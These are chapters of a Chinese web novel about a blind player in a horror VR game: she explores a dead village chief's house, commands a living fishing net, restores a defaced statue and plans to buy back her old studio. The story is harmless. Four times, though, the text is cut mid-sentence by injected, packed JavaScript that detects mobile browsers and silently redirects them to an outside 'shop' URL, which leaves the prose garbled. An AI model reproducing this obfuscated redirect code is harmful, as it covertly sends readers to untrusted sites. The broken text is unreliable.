【系统提示:您已击杀董白(村长),雾亥村声望+100,当前声望:100(友善)】 【获得厄运buff:村长的怨灵依附着你,会吸引更多恶灵聚集在你身边,你周围的磁场发生了神秘的变化。】 【系统提示,您已继承村长衣钵,获得物品:1枚金币、生锈的怀表、发霉的舰队花名册、祠堂钥匙。(装备详情可通过点击查看)】 “吱嘎——” 原本紧闭的房屋大门也在向她缓缓开放。 薄瑜卿摸了摸行囊里的东□□独将那把钥匙取出来。 怀表和花名册对她来说聊胜于无,因为无论上面写了什么她也看不见,那么通过排除法,目前唯一有价值的就是钥匙。 “祠堂……应该供奉着有意思的东西。” 她用盲杖点了点,识别出台阶后,慢慢走入充斥着潮湿霉味的屋子。 8. 第 8 章 【您已进入:村长家(难度:未知)】 腐烂的气味扑面而来。 “咕嘟、咕嘟……”墙角处,传来鱼嘴里吐泡泡的响动。 【获得腐臭buff:处于脏污环境中,你的嗅觉降低80%,精神力暂时压制至50%[当前0.5(49)]】 “呵。” 薄瑜卿意味不明地笑了一声,转过身,毫无征兆地向墙角那堆臭味的源头走去。 地上杂物很多,尤其是散成一团的渔网,像是故意和她作怪般时不时会伸出一小截,试图勾住她的脚。 三番两次用盲杖挑开后,她弯下腰,直接将乱动的细线抓在手里。 粘稠的触感蔓延在掌心,渔网反客为主,竟沿着她的脚踝慢慢往上爬,贪婪地想将她也一并罩入网中。 薄瑜卿仿佛未察觉般,任由它动作。等细线缠满了她的手臂时,她猛地起身将网子向前一甩。 “唰——” 地上的杂物遭了殃,乱七八糟全都粘在网面上。她就像挥动一个拖把般,将前方的障碍扫除干净。 “这下舒服多了。” 她大步走向墙角,将蠕动的死鱼随意捞出来一只。 在她看不见的地方,瞪大的鱼眼中闪过丝丝暴虐。 “食人鱼,有趣。” 她坦然地将手放入其血盆大口之中,用力挤压,“咬吧。” “嘎吱——”利齿用力咬下,却传来崩断的脆响。 【您已击杀食人鱼*20,获得经验100。当前等级:Lv1(0/200)】 【获得1点自由属性点,是否立即分配?】 “可以卖掉吗?” 薄瑜卿对着虚空反问。 【您的问题已超出解答权限,稍等,正在为您联系人工客服——】 悦耳的音乐持续了十几秒,一个清脆的女声出现在她耳边: 【您好,玩家薄暮,请问您遇到什么问题?】 “我想卖掉属性点。” 【抱歉,《地狱登神》目前没有开放这项交易服务。温馨提示:属性点在前期十分珍贵,每一点都能让您有和鬼魂搏斗时拥有一战之力。您最好再仔细考虑考虑,如果有需要,我会为您提供详尽新手攻略……】 “关闭对话。” 霎时间,周围再度恢复平静。 “把属性点加到感知上。” 薄瑜卿意兴阑珊地说。 原本她是想将其换成通用货币准备带出游戏,毕竟基础属性面板中,无论是力量、速度还是耐力,对她现阶段的帮助都不大。有视野受限这项因素在,普通的游戏加点对她来说效果聊胜于无。 既然无法卖掉,她索性将感知这项长板进一步补强。 【当前感知:1(99)】 “隐藏数值居然在原基础上翻倍……”她挑了下眉,感到周围的一切似乎可以在脑海中构筑出清晰的图像。 如果说之前笼罩着一层雾气,那么现在是将雾气捅破,变成若隐若现的纱帘。 这还是感知压制50%后的结果,如果她解除了腐臭buff,这项数值会逼近200。 短暂感应了一会,她再度向臭味的源头摸去,打算将剩余的几只食人鱼变成经验,然而这一次,她却摸了个空。 “窸窸窣窣……” 不等她有所动作,缠在她手臂上的渔网悄无声息地滑下来,细线弯成足状,鬼鬼祟祟在她眼皮底下逃跑。 “你还对我有用。” 薄瑜卿未卜先知般扯住一截,刚才还迫不及待粘上来的细线顿时蔫了一下,蜷缩成一小团,不复之前张牙舞爪的样子,像是很怕无意中碰到她。 “再撑开些。” 闻声,渔网颤巍巍地向外延展了一段。 薄瑜卿继续拿它当大号抹布,得心应手地扫向墙角污物。 …… 此时,天霸集团客服中心。 卢芷珍盯着被挂断的电话,一脸莫名。 “哟,谁惹我们卢大美女生气了?是不是哪个不长眼的玩家,我这就去把她号封了!” 一个打扮得花枝招展的青年凑过来,将一杯棕褐色的电子咖啡殷勤地放到她桌上,“无糖,零脂。” “不,我只是觉得有点古怪。” 卢芷珍摇摇头,将刚才那段录音调出来,费解道,“怎么会有人想要卖基础属性?” 霎时间,薄瑜卿冷冰冰的“我要卖掉基础属性”几个字清晰地从扬声器里传出,让办公区的几人均是不约而同地看过来。 “这玩家有个性,让我查查。”简磴迅速输入了一个指令,顿时,有关薄暮的资料出现在大屏幕上。 “我去,基础属性这么拉!” “就这还敢卖属性,活腻了吧?” “嘿,没准是家里有钱烧的呢。复活一次也就一万块,没准人钱多的想放进来做慈善呢。” 同事们七嘴八舌地调侃。 卢芷珍皱眉盯着屏幕,目光在盲眼这个唯一特质上面顿了顿,“她是盲人。” “对啊,你看基础装备那一栏,还有盲杖。” 简磴撇撇嘴,满脸不屑,“开局一个垃圾特质,白板装备,还有低于平常人的属性。她能活过新手副本,我都得叫她一声奶奶。” “我总觉得奇怪,她能这么说应该有所依仗才是。” 卢芷珍注意到,在盲眼特质后面是大片空白,相同的情况还发生在感知那一栏数值后面。 似乎有一些数据被故意遮挡了,她们看不见。 之前从来没出现过这种情况,难道真是系统bug? “能有什么依仗啊,推动我们出个对残障人士友好的政策?” 简磴对此嗤之以鼻,顺手按下删除指令,将薄暮属性面板上的奇怪空缺尽数删掉,“程序部门做事真是不用心呐,居然连这种排版的小错误都犯,回头我得好好向主管反映一下。” 卢芷珍没有说话。她手边的录音已经播放到薄瑜卿那句关闭对话,似是觉得这场谈话毫无意义,连一个字都不想多聊。 她和有着裙带关系进来的简磴不同,专业客服出身,有多年工作经验,最后被高薪聘用进天霸集团。 工作三年来,无数危机都在她的处理下圆满解决。她安抚过愤怒到几乎丧失理智的玩家,也和锲而不舍拨打上百个投 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960814|193293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诉电话的玩家打过交道,知道她们的核心诉求都是想从官方获得更多福利或者补偿。 但这般完全不在乎的玩家,她还是头一次见。 “也许她是真的缺钱呢。” 她喃喃一句,默默将薄暮这个ID记下。 …… 【腐臭buff已解除,感知回到初始水平。当前:2(198)】 薄瑜卿轻轻抬手,将沾满乱七八糟污渍的渔网随意一扔。 “这东西当抹布不错,比扫地机器人好用多了,还很智能。” 她说完,忽然听到墙角传来一阵细微的响动,像是什么东西在迅速溜走的声音。 几秒钟后,屋里那股怪味彻底消失不见。 薄瑜卿望着墙角处深陷的大洞,似有所感般,伸手摸向中间的锁孔。 “把暗门藏在这里,是笃定来访者都会被熏走么。” 她把祠堂钥匙插进去,转动半圈。“咔嗒”一声,门应声而开。 【您已进入:地下祠堂(难度:Lv5)】 冰冷的空气争先恐后钻入她的毛孔,阴寒的微风将她散落在肩头的长发吹起。 幽暗的光线散落在她脸上,为她本就苍白的皮肤布上一层古怪青芒。尤其是那双空洞的眼窝,更是平添一分诡异色彩。 薄瑜卿静静站了一会,不紧不慢地取出盲杖。 感知接近200时,她几乎不需要工具便可以将方圆十米的情形在脑海中一比一复刻。 可脑海中看到归看到,表面上,薄瑜卿仍然表现得和一个普通盲人无异。这个游戏既然有客服,说不定她的游戏过程也会被监控。她不认为过早展现出特殊之处是件好事,恰恰相反,让其她玩家乃至藏在暗处的威胁看轻自己,有助于让她以最小代价取得最大收获。 随时随处计算投资回报率,已经成为她的本能。 “好像有烦人的东西跟过来了。渔网,给我处理一下。” 听到她的命令,脏兮兮的网兜擦了擦不存在的眼泪,艰难地带着一身杂七杂八的污渍向门口爬去。 村长家围栏外,雾气聚拢的声音不算明显,却逃不过她的耳朵。 模模糊糊的对话声随之传来: “这个叫权三的NPC也太好了吧,直接给我们一封信让我们过来找村长触发任务。” “多亏了谈姐你的高魅力值啊!” “对啊,这次多亏了你,不然我们还得苦兮兮地加固围栏呢!” “过奖过奖,这都是大家的功劳。”谈忆面上不显,心里却乐开了花,先前在水手母亲那里好感值跌为负数的沮丧一扫而空。 那次纯粹是意外,她想。眼下她们拿到任务物品,定能够将新手村的探索进度追上来。 听说每个玩家在离开新手村时都会获得一个评级,而这个级别评定会影响额外福利的发放。 可以说,一个账号的前期强度在离开新手村时便已注定。 “我们快去找——” “村长”两个字卡在喉咙里。她诧异地瞪大眼睛,望着门口那一滩黑色血迹。 忽然,一阵难闻的腐臭味向她们袭来,强横地钻入口鼻。 9. 第 9 章 谈忆颤颤巍巍地伸出手,试探着摸了一下地上的尸体。霎时间,寒意让她打了个哆嗦。 【董白(村长)状态:死亡】 “不是,这……村长死了?!” 她拿着手里的推荐信,神色茫然无措。 而此刻站在她旁边的队友也都呆若木鸡。她们从来没有遇到过这种情况,任务刚开了一个头,甚至连头都没开,NPC就挂掉了。 “现在我们该怎么办?” 面面相觑,一时间无人说话。 无奈,谈忆只得将这一幕截图发到论坛里面,求助高手。 她之前那个偷拍薄瑜卿的帖子不知怎的火了一把,热度居高不下。楼里几乎分为两派:多数人认为是P图蹭热度,还有少部分人希望她提供更多细节。 【谈忆:各位大佬,不好了!NPC中途挂掉是什么情况?求解答QAQ[图片]】 【吴群:我去,死这么惨烈?连块全尸都没留下?】 【田飞:你们得小心点,凶手说不定还在村长家。这手段,定然是个没人性的恶鬼。】 【幸然:我倒有不同的观点,没必要暂避锋芒。恰恰相反,如果趁机将凶手击杀,说不定能收获整个村子的好感,直接提高任务评级。】 【孙强(天下无双公会专属标识):楼上就不要误导新人了吧?对方既然能杀死NPC。杀死她们几个不像宰鸡一样轻松吗?进去也是送死。】 【田飞:附议。】 【幸然:我只是提出我自己的观点而已。富贵险中求,若是遇到困难就退缩,注定无法通过S级噩梦副本。】 【谈忆:好的,谢谢大姥们,我再和我的同伴商量一下~】 将帖子内容展示给队友。她叹了一口气,眉心拧起,“进,还是退?我们投票决定。” “我觉得要不然进去看一看吧,大家账户里应该都有心智碎片,死了大不了复活。”谢海兴冲冲提议道。 “嗯,我也觉得来都来了。如果我们现在就走,也没有别的任务能够接取,不还是卡在这里?” “等一下,你们有没有注意到头顶的buff?” 有人惊叫起来,“这个腐烂buff让我们的感知直接砍半!” “现阶段,感知这项属性也没什么用,减半就减半吧。”谈忆望着黑漆漆的房屋,只觉得后背泛起丝丝凉意。她深吸一口气,咬牙道,“要不然进去看看?万一恶灵已经离开了呢,我们说不定能够在房间里找到些关键线索。” 三比一,反对意见被选择性无视。 以谈忆为首,她们谨慎地推开围栏,向阴影笼罩的屋子走去。 脚下的草丛越来越高,腐臭味也越来越浓。身处其中,只觉得胃里一阵接一阵翻涌,恶心的缺氧感直冲大脑。 “怎么还没到?”谢海烦躁地抓着头发,脚步虚浮。 “几步路,怎么走了这么久?!” 又一股恶臭钻入鼻间,谈忆实在忍不住,弯腰呕吐起来。她这个头一开,其她几名玩家也脸色惨白地停下。 感知减半,让她们无一人察觉到异样。 早在走入围栏的一刹,又细又软的暗色丝线便已吸附在四人脚底,悄无声息地将她们往后扯。 突然,大网张开,将她们狠狠向上一拽—— …… “哒、哒。” 薄瑜卿走了十三级台阶,坡度终于一缓。 空气中,若有若无的凉意愈发明显,仿佛身处一片幽暗的海水之中,只能不断下沉。 她面色不变,伸出手,触及竖在祠堂中心的高大雕像。 【系统提示:归墟■爵正在注视着你。】 【获得恍惚buff:你的视野中布满浑浊迷雾,无法看清前方景象,视野-90%】 薄瑜卿倏尔笑了。 这个buff对她而言就是虱子多了不怕痒,半点影响都没有,还不如先前的腐臭buff,好歹能从精神上给她造成一点冲击。 蹲下身子,她从雕塑底座开始,用指腹一点点感应石块的凸起。 比起“看”,她更相信自己的触觉。 “身上有三道裂纹,一道比一道深。不像是自然损坏,属于人为破坏范畴。” “还有一些石料像是后来加上去的,摸起来很粗糙,和精美的雕工相冲突。” 薄瑜卿按着雕像微微凸起的喉结,忽然用力往下一抠。随着“咔哒”一声,劣质石料随着她的动作剥落,碎在地上。 【你被石块划伤,血量-5,当前:55】 “所以,雕像后来被人翻修过。” 她没有理会系统的播报,唇边流露出一抹嘲讽,“但是加上喉结,把一个女人变成男人,啧,这手段可不太光彩。” 甚至匪夷所思。 若非她在噩梦中亲眼见过归墟女爵,恐怕猛一下也会被眼前这尊雕塑骗过。 先前的系统提示音就故意模糊了女爵的“女”字。她看不见,反而避免了先入为主。 “切换性别,除了自欺欺人,还有什么意思?” 薄瑜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960815|193293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卿对这种欲盖弥彰的做法嗤之以鼻,但反感归反感,她立即捡起地上的碎石,以此作为工具去磨雕塑脸上的多余胡须。 “卸掉这些,你会轻松很多。” 待女爵的脸重新变得光滑,她又摸向其肩上的家族徽章。 “颜料的触感很新,同样粗糙,像是后期涂上去的劣质颜料。” 这一次,她刮的速度慢了很多,也细致许多,尽量不破坏其原本的形状。 家徽很重要。她也曾是一族之长,手底下养着乌泱泱一大群人。可以说,整个薄家都在她的掌心,而且一接手就是十多年。所以她很理解家徽对于领袖的重要意义——不仅仅是物质上的后盾,还是一直以来为之奋斗的意义所在。 “更改性别、变换家徽,不亚于杀人诛心。” “如果换我遭遇这一切,我一定会把始作俑者剥皮抽筋,让其永世不能轮回。” 耐心地刮掉最后一块漆,怒放的荆棘花终于重见天日。薄瑜卿摸了一下其光滑的表面,后退一步,“不用谢我,我只是看不顺眼这种恶心的伎俩而已。” 祠堂里没有其它值得探索的东西。她拍了拍手上的灰尘,毫不留恋地转身往台阶方向走。 下一秒,夹杂着潮湿气息的浓雾将她包裹,仿佛有一只无形的手拉着她的衣角。 【归墟女爵邀请你接受任务——隐藏的真相。是否接受?】 “拒绝。” 薄瑜卿停下脚步,头也不偏一下,语气淡淡,“你在我噩梦里的时候不是挺厉害吗?现在怎么变得这么弱,连复仇都要别人替你完成。” “这种事情,亲手去做才叫痛快。” 雾气发出急切的簌簌声,不但没有消散的迹象,反而愈发浓郁。一声轮船号角响起,仿佛不甘的悲鸣,让地面随之震颤。 【归墟女爵邀请你接受任务——全部的真相。是否接受?】 “若是你有报仇的决心,我会考虑。” 薄瑜卿没有立马给出答案,她挥舞着盲杖,一步步向台阶上方走去。 雾气很快被她甩在身后。 【系统提示:归墟女爵正在注视着你。】 【获得女爵的祝福buff:运气+10,持续72小时。】 【恍惚buff已自动解除】 【四小时游戏时间已到,正在强制登出中——】 薄瑜卿走出祠堂的刹那,她整个人化作一道流光消散。 速度太快,以至于她并没有看见被吊在村长门口、头朝下,满脸惊恐的四名玩家。 10. 第 10 章 鲜嫩多汁的蛋白排在口中绽开,像是一团轻盈的云朵,后味又带着丝丝醇厚。薄瑜卿又夹了一筷子碳水立方,扎实的主食入腹,感觉胃里的饥饿正在慢慢褪去。 吃到八成饱,让光脑将餐具送去清洁后,她站起身,并没有立即进入游戏的打算,而是漫步到窗边,开始若无其事地在太阳底下盘膝静坐。 “这具身体的底子实在太差。” 很多时候,那股若有若无的阴冷感压根不是恶灵所致,反倒来源于她本身。体内寒气太重,积攒到一定程度后,稍微一点外界的微小火苗就足以引发崩塌。 “得拟定一个锻炼计划,起码具备正常人的身体素质。” 手摊开,五心向上。薄瑜卿感受着暖洋洋的阳光,一边在脑中回忆八段锦的具体细节。 上辈子,她每天起床时都要照例进行站桩与打坐,然后才驱车前往公司开会。 古老的导引术能够流传那么久,自然有其独特之处。眼下虽然到一个全新的世界,她仍然可以将其运用到身体调理中。 “锚点,以八段锦为核心,结合目前的技术手段,给我打造一份训练方案。时间控制在每天一小时左右。” 她目前的身体承受不了太高强度的训练,需要循序渐进。 【好的,正在为您创建可变阻力场,并添加光脑辅助计时,让您在练习中完成对身体的深度掌控。】 【锻炼时,您能够随时感知到身体的情况,并通过阻力变化训练您的核心力量,将“意到气到力到”化为本能~】 “给我一份直观的数据效率,能提升多少?” 【嘀!正在估算中——和没有训练场地相比,幅度在50%到70%之间波动。】 “价格呢?”薄瑜卿几乎要习惯性地点头,可她忽然意识到自己已然不是家财万贯的霸总,全部身家只有五千多块钱,还欠了一个月房租。 【一小时200元,使用三十个小时(一个月)可享套餐优惠价:5000元。】 “暂时先不买。” 薄瑜卿简单衡量了一下,干脆拒绝。她可没有将钱全部投到里面的打算,不管怎样,她需要保证手里能付得起下个月的房租,以及一些游戏上的额外开销。 她目前刚刚进入游戏,连S级噩梦副本到底怎么进还没有摸清楚。未知因素太多,她无法保证在月底之前能够通过游戏得到一笔不菲的资金。 而房租一旦断档,她会陷入一个极其被动的局面。之前房东儿子虽然出言不逊,可他话里话外也透出一个重要讯息:就是房东没有收她的押金。换言之,继续住在这里仍然是现阶段不错的选择。 【温馨提示:您可以使用借贷服务,目前您在联邦的信用额度为100万。】 “哦?这么高?” 薄瑜卿挑了下眉,质疑道,“信用额度怎么算的?薄暮双目失明,又没有劳动能力。给她这么高的额度,不怕她还不上吗?” 【正在为您查询放款标准,请稍候——】 【根据批注信息显示,薄暮作为财阀世家薄氏唯一一名现存继承人,名下拥有大量电子遗产,所以放款的标准也相应提高。】 “那她的钱都去哪了?” 话音未落,薄瑜卿意识到自己是明知故问。果不其然,光脑的下一句话,就将她的猜测落实: 【根据公开转账信息显示,近五年来,薄暮手中的现金全部转给未婚夫萧哲,帮助其创立天下无双工会。其余无法变成现金的公司股权则被萧哲低价买入,高价抛售,赚取大笔差价。一年前,她已经丧失了公司的控制权,信用额度从50亿降为100万。】 “等会,让我捋一捋。” 薄瑜卿揉按着太阳穴,一时间不知该说可怜人必有可恨之处,还是说自己借尸还魂的时间点不对。 在她看来,薄暮是眼盲心也忙,纯纯往外撒钱的活菩萨。 如果这是她的天使投资人,她会很高兴。但若是她自己,饶是她见惯了大风大浪,也差点憋出内伤。 “哪家公司?现在还存在吗?薄暮手里的股权全部都抛售了吗?” 三个问题抛出,过了好一会,光脑才给出答案。 【公司还存在,叫瑜界工作室。目前的实力在《地狱登神》中是排名1022的小公会,属于不入流级别。按照账面流水,不出三个月便会破产清算。当前,薄暮手中的股权持有量为零。】 “瑜界工作室……” 薄瑜卿一时没有说话,出神地盯着虚空。她的目光仿佛透过空洞的眼窝,望向一千年之前。 薄氏集团的核心部门就叫瑜界。 由她一手创立、花费了无数心血形成的一股精锐力量,聚拢她所能招揽到的全部英才。甚至有朝一日,她期望着和那些并肩作战的同伴们一同看到游戏上市。 然而,所有辉煌都终将走向穷途末路,最后一点薄氏集团存在的痕迹也要归于虚无。 “呵。” 她摇摇头,倏尔笑了。 “真是给了我很大的一个惊喜啊。锚点,帮我查一下,如果我要收购瑜界,需要花多少钱?” 【正在为您计算中,请稍候——】 【嘀!预计需要花费在50万左右。】 “很好。”薄瑜卿拿起笔,在纸上龙飞凤舞地写下这个数字,“你继续帮我关注,每三天给我更新一次最新价格。” 【您现在有100万额度,如果想收购,现在就可以。】 光脑人性化地发出提问。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960816|193293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在还不是价格最低点,我也不是冤大头。就算要出手,也要等到工作室破产清算时,我便能干净的剥离债务,而不是继续带着薄暮留给我的烂摊子负重前行。” “况且,”薄瑜卿有一下没一下地敲击着桌面,语气淡淡,“如果现在我出现在瑜界那些人眼前,她们并不会将我视为救星,反而会责怪我抛售了股权,放弃对公司的控制,间接造成这一切。人只有在一无所有时,才能享受到雪中送炭的可贵。” 她从来不是慈善家。 纵然瑜界工作室对她而言意义非凡,可那是一千年前的老黄历。一千年后,除了这个牌子,一切对她而言都是陌生的。是否要为情怀买单?薄瑜卿不置可否。但她无比清楚:如果这笔交易不划算,她还不如自己重新组建一个工作室。 “总之,有任何变动你都给我记录下来。还有关注瑜界工作室在网络等公开平台上的消息。” 【收到。】 吩咐完,薄瑜卿又在太阳底下练了一会八段锦,直到身体出了些汗,精神却格外神清气爽。 她仍然有一个疑问没有解决。 如果薄暮手头真的一无所有,那么按照借贷机构的精明,100万的额度也不会批下来。 侧面说明,“薄暮”还有一点东西是无法被萧哲挖走的,仍然保留在她名下。 至于是什么,她并不急着立即揭开。眼下最重要的还是摸清楚《地狱登神》这个全息游戏,毕竟,那里才是她发挥“天赋”的地方。 感觉休息得七七八八,游戏中的台风应该也已经肆虐完了,薄瑜卿再度向着游戏舱的方向走去。 她现在对于家里的布局已然很熟悉,不需要盲杖也能自如走路。当然,有一部分因素是这里的面积和胶囊差不多,两步便能到达尽头。 “吱嘎——” 舱门缓慢关上,熟悉的逼仄感包围了她。 这一次,她将强制下线定在了六个小时之后。出来时正好晚上十点,不耽误睡眠。 “先把新手关卡打通吧。”她给自己定了个目标。 【正在进入游戏,请稍候……】 【提示:目前为进入游戏高峰期,您的游戏舱数据传输速度较慢,大约需要三到五分钟排队时间,建议您边刷游戏论坛边等待哦~】 薄瑜卿没有动作,任由提示音在耳畔响起。 压根不受她无所谓的态度影响,页面自动跳转,五颜六色的字体漂浮在空中,一条帖子的热度居高不下。 【求助:倒立了整整四小时,头充血,喜提眩晕buff和腐臭buff,一直在狂吐和狂晕,根本看不清下线按钮该怎么办?】 脏兮兮的渔网图片后面跟着一个大大的[爆]字,甚至引发了游戏官方的回复。 11. 第 11 章 【您已进入:村长家(难度:未知)】 回到当初下线的地方,薄瑜卿闻到一股扑面而来的恶臭。 和之前的纯粹臭气不同,这里面还夹杂了一些怪怪的酸味,反倒让原先的难闻气味呈几何倍扩散。 她忍不住皱了下眉头。 “窸窸窣窣……” 不等她走到外面,细线摩挲地板的声音仿佛小碎步般从门口传来。 渔网邀功似的停在她脚下,扭了扭身子。霎时间,上面粘的脏东西如雪花般飘落,威力不亚于一枚臭气炸弹在她跟前爆炸。 “停,我们出去说。” 薄瑜卿迅速掩住口鼻,她超出常人的嗅觉在此刻饱受折磨。 无暇顾及系统传来的血量减少提示音,她连盲杖也来不及用,凭记忆大步向门口走去。 直到夹杂着水汽的清新空气涌入鼻尖,她深吸一口气,刺骨的寒冷将眼前的混沌驱散。这时,她总算有心情处理渔网,“怎么弄成了这样?有人过来了吗?” 虽然她很不想再回忆那股恶臭,可味道就像扎根在她大脑深处,不断回放之余,她甚至能从中分辨出新鲜的呕吐物气味。 “啪。” 渔网蠕动着,吐出一个湿漉漉的东西。 “这是……一封信?” 薄瑜卿先将上面的污秽擦去,才展开信纸。 【获得消耗品:权三(渔夫)的引荐信】 【物品描述:一封被海水浸透、字迹模糊的信件,散发着来自深海的潮湿诡谲气息。信封上用颤抖的笔迹写着:“致董白村长亲启”。】 【信文内容如下: 尊敬的村长: 愿海风指引您。 我是老渔夫权三。昨夜风暴中,我在海面见到了不该存在于世的诅咒之物——归墟女爵舰队的残影。浓雾之中,我隐约听见了激昂的船歌与凄厉的号角。 我年事已高,无力深究。但这几位外来的冒险者心怀勇气,愿意为村子探寻真相,镇压邪恶的亡灵。她们或许能查明那场海难的真相,甚至让雾骸村重焕生机。 恳请您给予她们指引,并提供前往东部“沉船岬角”的必要协助。那里是传说中幽灵船最常现身之地,或许也是封印恶灵的关键。 愿迷雾散去,亡者归墟。 —— 您忠诚的, 权三】 “废话挺多。” 薄瑜卿听完落款,随手将信纸一撕两半,“这个幽灵倒是和村长玩得好一手狼狈为奸。” 她一眼看出其中猫腻。 雾骸村早已没有活着的村民,何谈重焕生机? 若是依言将归墟女爵封印,恰是中了它们的圈套。失去镇压力量,整个雾骸村的恶灵便会放开限制,肆无忌惮地大开杀戒。现在之所以还客客气气地写封信,不过是想用好听的词藻迷惑只想完成任务的玩家罢了。 “看样子,它还不知道村长已经死了。” 随着她将碎纸扔给渔网,不远处的空地忽地冒出四道白光。 “你、你这是干什么?” 谈忆好不容易联系客服解除两个负面buff重新上线,就看到这令她目眦欲裂的一幕。她慌忙将变成纸屑的碎纸夺过,“小姐姐,这可是我们好不容易找来的任务线索,你、你怎么说撕就撕,没有让系统读一遍吗!” “你是不是故意的?”谢海直接抽出木棍。可有着新手村无法攻击的规定,他怎么也碰不到薄瑜卿,只得在原地无能狂怒,“有种等出了新手村,看我怎么收拾你!” “不信的话,就跟上来吧。” 薄瑜卿越过她们,继续往前走。 “不是,你什么意思?你以为你是个瞎子就可以随便撕别人东西吗?” 谢海追上去,嘴里唾沫狂飞,“我不管!你把我们的任务给弄没了,这事你负全责!” “我就问你一个问题。” 薄瑜卿偏过头,空洞的眼窝冷冷地注视着他,语调毫无起伏,“村长已经死了,你们这个任务往下也推进不了。这一切,和我有什么关系?” “你……你把引荐信撕了,你必须得赔!”谢海愣了一下,不免词穷,反应过来后紧咬不放,“还有一种解决方法:你把之前接到的任务共享一下,我可以大人不计小人过,以后不找你麻烦。” 他一开始打的就是这个主意。 虽然引荐信已经没用了,可薄瑜卿的出现对她们来说不亚于口渴的人发现了一口井。他打心底看不起对方,认为就算运气好拿到了特殊道具,也无法完成任务,到头来奖励还是得归她们。 如今,不过是借题发挥而已。 “大家都是玩家,你那里有什么任务也共享一下吧,我们可以帮你完成,最后再按贡献值给你分一部分奖励。” 谈忆也走上前,晓之以情,动之以理地画饼。她虽然有些看不透薄瑜卿,但对方到底是个盲人,有着先天的劣势。她相信自己抛出这个橄榄枝后,对方一定会顺势接下。 别看她们这个小队都是新人,家底却颇为丰厚,不然也叫不动游戏客服专门帮她们处理无法下线的问题。 “一部分奖励?呵,让开。” 薄瑜卿仍然连看都没有看她一眼,仿佛她们只是一团空气。 “喂,你——” 这下,谈忆的脸色也有些不好看。她上前一步,试图拦住对方时,一阵熟悉的腐臭味飘入鼻尖。 霎时间,四人脸色一变,宛若见到某种天敌,毫不迟疑地拔腿就跑。 那种头朝下缺氧,加上狂吐不止的狼狈状态,她们再也不想经历一遍。 “沙沙……” 渔网将细线裹成小球,翻滚着跑到薄瑜卿前面。随后,它伸出一只触角,悄悄地勾住了盲杖一端。 “你想跟着我?” 似有所感,她淡淡地问。 细线晃了晃,用行动表明态度。它迅速往上爬,如同灵活的蛇一样缠在盲杖表面,形成一道独特的暗色花纹。 这一突发情况将以谈忆为首的四人看傻了。 她们闻之色变的恐怖存在,居然成为其盲杖上的装饰品,开玩笑吧? “等你洗干净了再说。” 薄瑜卿丝毫不掩饰语气中的嫌弃。 她仰起头,随着风向辨认了下位置,不紧不慢地向海边走去。 在前往沉船岬角之前,她打算先花点时间将渔网洗干净。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960817|193293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毕竟之后去海上寻找残骸时,此物还能发挥不小的作用。 此刻,在她身后一百米处,谈忆四人正大眼瞪小眼,犹豫该不该跟上去。 “那古怪的网子居然是她的,她到底什么身份?” 谈忆的脸色有些不好看,暗中瞪了谢海一眼,“刚才你把话说的那么难听,我们肯定把人得罪了。” “得罪又怎样,反正现在还是新手村,她又没法攻击我们。” 谢海面上也有些不自然,可语气仍是强装镇定,哼道,“再说,那网子也不一定就是她的。刚才攻击我们的时候,没有任何系统提示,你忘了?” “也对,我上论坛问问。” 谈忆拍了下脑袋,连忙回去,将碎纸拍了图片上传到帖子后面。 她发的这条帖子因为惊动了游戏客服,导致热度一直居高不下。她简单地将刚才发生的事情叙述一遍,点击刷新,立马有四五条回复冒出来: 【田飞:你说折磨你们半天的渔网是盲女的,这么离谱吗?】 【吴群:一眼瞎编。】 【栾康:这该不会是新的起号方式吧?刚才被网子捉住时也自导自演。不如透露一下你们从客服那里拿到多少补偿,有属性点没有?】 【幸然:一个新手居然能掌控邪恶生物,加上之前的低调作风,感觉此人颇为深藏不露。】 【孙强(天下无双工会专属标识):呵呵,楼上说什么呢,一个瞎子能成什么事?依我看,多半是恶灵寄生在她身上,她就是个傀儡容器罢了,活不了多久。】 【姜菁:我同意幸然姐姐的观点。】 …… 发完这一条后,姜菁找了个安全存档点下线。 